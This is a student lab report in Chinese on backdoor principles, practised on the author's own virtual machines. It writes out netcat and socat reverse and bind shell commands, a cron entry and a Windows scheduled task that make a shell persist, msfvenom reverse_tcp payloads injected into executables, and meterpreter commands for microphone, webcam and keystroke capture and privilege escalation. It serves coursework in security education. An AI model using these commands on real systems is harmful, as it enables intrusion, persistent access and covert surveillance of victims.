2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践
实验内容
1.使用netcat获取主机操作Shell,cron启动 (0.5分)
2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告
基础知识问答
问题1:例举你能想到的一个后门进入到你系统中的可能方式?
- 比如,我想在网上下载一个软件,软件的安装包可能带有后门程序,或者我的Win10系统有的漏洞还没有补丁,攻击者可能会利用漏洞来攻击,将后门程序注入到我的主机系统。
问题2:例举你知道的后门如何启动起来(win及linux)的方式?
- windows系统上有一个定时任务,后门程序可以通过定时任务运行
- 或者通过各种信息,诱惑用户点击运行(例如点击即可降价打折等等)
问题3:Meterpreter有哪些给你映像深刻的功能?
哇,既然提到这个问题,Meterpreter真的是细思极恐
- 首先,能够开启靶机的摄像头,这真是太可怕了,真的会侵犯到个人的隐私;
- 更可怕的是能够记录按键过程,如果电脑上有什么重要文件,那岂不是就很容易被窃取了,啧啧啧,So scareful!
- 还有一点,提升用户权限!
问题4:如何发现自己有系统有没有被安装后门?
老实说,我做本次实验的杀毒软件都是关闭状态,因为在做第一遍实验时,注入到win10的socat.exe
和backdoor
程序很快就被发现了,所以,平时还是打开杀毒软件比较好。
实验知识储备
常用的后门工具
- 后门:不经过正常认证流程而访问系统的通道。
- 后门的位置:
- 编译器
- 操作系统
- 应用程序(最常见)
- 潜伏于操作系统中或伪装为特定应用的专用后门程序
- 通俗说法:后门特指潜伏于操作系统中专门作为
后门
的一个程序;坏人可以连接这个程序;通过该程序可以远程执行各种指令;概念上和木马
上有重叠
那么,坏人通常如何通过后门进入系统呢?
- 首先,有可以充当后门的程序,例如
- netcat系列
- meterpreter系列
- intersect系列
- 然后将后门程序,放在要攻击靶机的系统里,当然这就要有些手段了,通常有
- 正版软件故意被攻击,包含后门
- 正版库文件中包含后门
- 诱骗你下载操作的,比如
- 安装包包含后门程序
- 网上下载的特定文件包含后门文件
- 甚至直接悄无声息地发送恶意程序或钓鱼链接给你
- 自己贪图便宜,捡了个U盘,就用了,这里面可能包含后门程序。
- 坏人攻击系统的漏洞,获得控制权,安装后门
- 然后还得运行起来,通常手段也有很多
- 开机自动启动技术(电脑开机时,后门程序也就启动了)
- win的定时任务(设置每个时间段的固定时候,后门程序就启动了)
- Linux中的cron
- 后门程序伪装成常用软件,诱惑用户点击,一点击,后门程序就运行了。
- 后门程序当然靶机要检测,所以,后门程序还要做到不被靶机的恶意代码检测程序发现,通常用到的技术有:
- 反弹式连接
- 加密连接
- 隧道技术
说了这么多,我们常用的后门程序有哪些呢,也就是我们实验所使用的后门程序又有那些呢?
- netcat
- 底层工具,进行基本的TCP和UDP数据收发
- 常与其他工具结合使用,起到了后门的作用。
- Linux一般自带
netcat
,通常用作nc
,可通过man netcat
或man nc
可查看说明。
- Linux一般自带
- Windows系统中需要下载,下载地址为https://gitee.com/wildlinux/NetSec/attach_files,大家可以下载
netcat.rar
,解压后就可以使用了。
- Windows系统中需要下载,下载地址为https://gitee.com/wildlinux/NetSec/attach_files,大家可以下载
下面我们就来尝试一下如何使用netcat
和nc
吧。
尝试一 用nc或netcat获得远程主机的Shell(win7攻击Linux)
在这里Windows系统我选择win7,Linux系统我选择win10。
-
首先,利用
ipconfig
查看windows的主机IP,如图所示,我的主机IP为192.168.154.139
。 -
下载好
ncat
,进入目录,按windows + R
组合键打开cmd.exe,输入ncat.exe -l -p 5203
来监听5203端口,如图所示。 -
此时,在Linux中,让Linux反弹连接win7,输入命令
nc 192.168.154.139 -e /bin/sh
,如图所示。(该IP为win的IP) -
接下来,我们可以发现,我们在windows端成功获得了Linux端的shell终端。
尝试二 Linux获得windows终端(Linux攻击windows)
-
首先,我们用
ipconfig
获得Linux的ip地址,ip为192.168.154.143
。如图所示。 -
随后,Linux通过输入命令
ns -l -p 5203
-
Windows反弹连接Linux,在Windows终端下的ncat目录,输入
ncat.exe -e cmd.exe 192.168.154.143
,如图所示。 -
这时,我们就会看到Linux终端下出现了Windows的终端。尝试一下,可以查看windows下的文件了。
尝试三 使用nc传输数据
首先,我们先来了解一下nc传输数据的格式
:
- 目的主机监听:
nc -l 监听端口 > 要接收的文件名
- 源主机发起请求:
nc 目的主机ip 目的端口
-
在Windows下发起监听,同样用
ncat.exe -l -p 5203
,如图所示。 Kali Linux下连接通过命令
nc 192.168.154.139 5203
连接到Window7。建立连接后,就可以传输信息了,如图所示。
Windows和Linux下传输文件。
了解cron
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
了解socat
- socat是
ncat
的增强版,使用格式是socat <option> <adress> <adress>
, 其中两个是必选项,而是可选项。 - socat的两个基本功能是建立了两个双向的字节流,数据就在其间传输,参数代表了其中的一个数据流向,数据有很多种类型,自然就需要选项参数对不同类型的数据流进行限定与说明。
-
socat
的windows下载路径为https://gitee.com/wildlinux/NetSec/attach_files。
Meterpreter(根据老师上课所讲补充)
后门是一个程序,本来是有人编写一个程序,大家拿来用,但是有一些厉害的人,想编写一个平台能生成后门程序。这个平台,把后门的
- 基本功能(基本连接、执行指令)
- 扩展功能(搜集用户信息、安装服务等功能)
- 编码格式
- 运行平台
- 运行参数
等全部做成零件或可调整的参数。用的时候按需要的组合,就可以生成一个可执行文件。
常见的平台:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
了解更多关于Meterpreter平台的内容,可以参考https://www.freebuf.com/articles/system/53818.html。
根据使用MSF生成的shellcode打造免杀playload,可以了解到,我们可以用msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f c
(IP为windows7的IP)生成shellcode, 注入到可执行文件里,执行时可以攻击主机。
我们本次实践就是利用Meterpreter平台
生成一个后门程序,然后攻击靶机。
实验过程
任务一 使用netcat获取主机操作Shell,cron启动
-
在windows系统下,输入命令
ncat.exe -l -p 5203
监听5203端口。 用
crontab -e
完成一条定时任务。-
打开文档后,在最后一行添加
36 * * * * /bin/netcat 192.168.154.139 5203 -e /bin/sh
(windows的IP),意思是Kali Linux系统在每个小时的第36分钟反向连接windows的5203端口: -
当时间为21:36分时,监听成功,windows处出现了Kali Linux终端,如图所示(当我在终端输出命令的时候,时间已经过了1分钟,所以,截图上显示的时间是21:36分)。
任务二 使用socat获取主机操作Shell, 任务计划启动
本次实验我选的windows系统是win10系统。我查了一下我的win10主机的ip为 192.168.1.110
,如图所示。
-
在win10系统下,右击左下角windows的图标,选择计算机管理。
在
任务计划程序
处创建任务,填写任务名称(这个名称是自己取的,我的是xyx)。-
然后点击
触发器
来新建一个触发器。开始任务
选择工作站锁定时
, 设置范围为所有用户
,然后点击确定
,触发器就创建完了。 -
然后,在
操作
->程序或脚本
中输入我们之前下载的socat.exe
的路径,我直接把它放在了C盘----C:\用户\xiao\socat\socat.exe
,在添加参数一栏中添加tcp-listen:5203 exec:cmd.exe,pty,stderr
,这个命令的作用是将cmd.exe绑定到端口5203上,同时把cmd.exe的stderr重定向到stdout上
。 -
任务创建完毕后,迅速按
Windows+L
锁定计算机,再次打开时,我们可以查看到自己的任务,按右键,使其启动,状态变为正在运行
状态。 -
在Kali Linux环境下输入命令
socat - tcp:192.168.1.110:5203
,这里的第一个参数代表-
代表标准的输入输出,第二个流连接到了windows10主机上的5203端口,此时,可以发现一个Kali Linux成功获得了一个cmd.exe,这个cmd.exe正是我们windows10的终端。
任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali Linux端,我们输入
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f exe > 20165203.exe
(windows7的IP地址),将生成的shellcode注入到后门程序20165203_backdoor.exe
中。 -
在Windows中使用
ncat.exe -lv 5203 > 20165203_backdoor.exe
查看其连接状态,如图所示状态为连接正常。 -
在Kali Linux中输入
nc 192.168.154.143 < 20165203_backdoor.exe
(顺序变,箭头也要变),将20165203_backdoor.exe的后门程序注入到Windows7中。如图所示,收到Connection的连接,说明传输成功。并查看了自己在ncat文件夹中注入的
20165203_backdoor.exe
程序,保证大小为73K,如果为0K,说明传输未成功。 我们在Kali Linux的终端上新打开一个终端,输入
msfconsole
进入msf控制台。然后,我们输入
use exploit/multi/handler
使用监听模块,设置payload
。使用和生成后门程序相同的
payload
(在第一步那里),输入命令set payload windows/meterpreter/reverse_tcp
。使用
set LHOST 192.168.154.139
(ip为Kali的IP)来设置payload的IP。使用
set LPORT 5203
来设置payload的端口号。-
payload设置完成后,我们来使用
exploit
开始监听。
10.Kali Linux已经开始监听,此时,我们回到Windows7终端,退出上一次的命令,执行20165203_back_door.exe
,再看Kali Linux的终端,我们发现Linux获得了远程控制的Windows的shell。
任务四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
接着上个内容,我们可以使用
record_mic
截获一段音频,如图所示。 -
使用
webcam_snap
可以使用摄像头进行拍照。(因为在晚上做的实验,穿着睡衣,就不拍本人了,嘻嘻) -
使用
screenshot
可以截屏。 -
使用
keyscan_start
指令可以记录下鼠标击键的过程,使用keyscan_dump
可以读取击键的记录 使用
getuid
查看当前用户,使用getsystem
进行提权。
任务五 (可选加分项)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
同学们都推荐江智宇学姐的博客,通过学习学姐总结的博客,我了解到
在关于msfconcole的参数中:
-p 是指定用于特定的payload
然而,我们需要的payload的功能是获取反连接靶机的shell,学姐的博客中给出了我们需要的payload是linux/x64/shell_reverse_tcp
,
后面,我们需要的是LHOST
和LPORT
,然后,我们还需要-x
来指定我们需要注入的文件,为/home/20165203/exp2/pwn2
.
-f
指定我们文件的输出的格式,注入到pwn2中,pwn2是一个可执行文件,所以选elf格式。
所以,我们的命令格式为
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.154.147 LPORT=5203 -x /home/20165203/exp2/pwn2 -f elf > pwn2_2
输入上述命令后,生成被注入shellcode的可执行文件pwn2_2,如图所示。
之后,我们可以将pwn2_2注入到windows7中,调用msfconcole来监听,步骤与任务三相同了,做好了,就是如图所示格式啦。
实验中遇到的问题及解决方法
我遇到的问题零零散散,多数都是因为自己的智障犯下的错误,不过,我感觉有的问题还是很值得供大家参考借鉴的。
Q1:使用webcam_snap
使用win7摄像头时,无法使用,提示141错误,如图所示。
A1:因为win7是在虚拟机中的,所以,我们要从问题的根本下手。
-
首先,我们想到可能是win7虚拟机里压根儿就没有摄像头,因为想摄像头这样的USB设备本来就不可能同虚拟机和本机一起使用的,我们可以尝试查看一下win7的设备管理器,如图进入win7里面的
控制面板
,查看设备管理器
。我们可以看到,里面根本就没有图像设备
,自然就没有摄像头
了。 -
接下来,我们在虚拟机中设置,把USB端口连接到虚拟机上来,如图所示,要选择
连接主机
哦。 -
接下来,我们在win7中刚才的
设备管理器
中查看,就能发现有图像设备
了, 就可以“偷窥”了,哈哈哈哈。
Q2:昨晚刚做完本次实验,结果今天打开Kali虚拟机时出现了如图所示问题,妈呀,不会是搞实验搞出问题了吧。
A2:结果,我发现我昨晚电脑里的socat.exe
还在运行着,占用着虚拟机,于是,我索性打开电脑里的任务管理器
,将里面带有.vm
的进程全部关掉,然后再开启我的电脑管家
,杀了一遍毒,Kali得以打开,看来平时还是要常打开杀毒软件。
实验感想与体会
这次实验真的很有激情,仿佛自己是个黑客,一步一步,当然是自己攻击自己,哈哈,当达到摄像头拍摄的效果时,自己仿佛开启了新时代的大门,成就感颇升。
感谢此次我们班课题负责人,也就是我们寝室长本次实验的帮助了,我们可以搞一个黑客组合了,哈哈。
不过,我觉得可以在今后的实验中,尝试用其他常见的后门程序来练习,更加熟悉后门原理。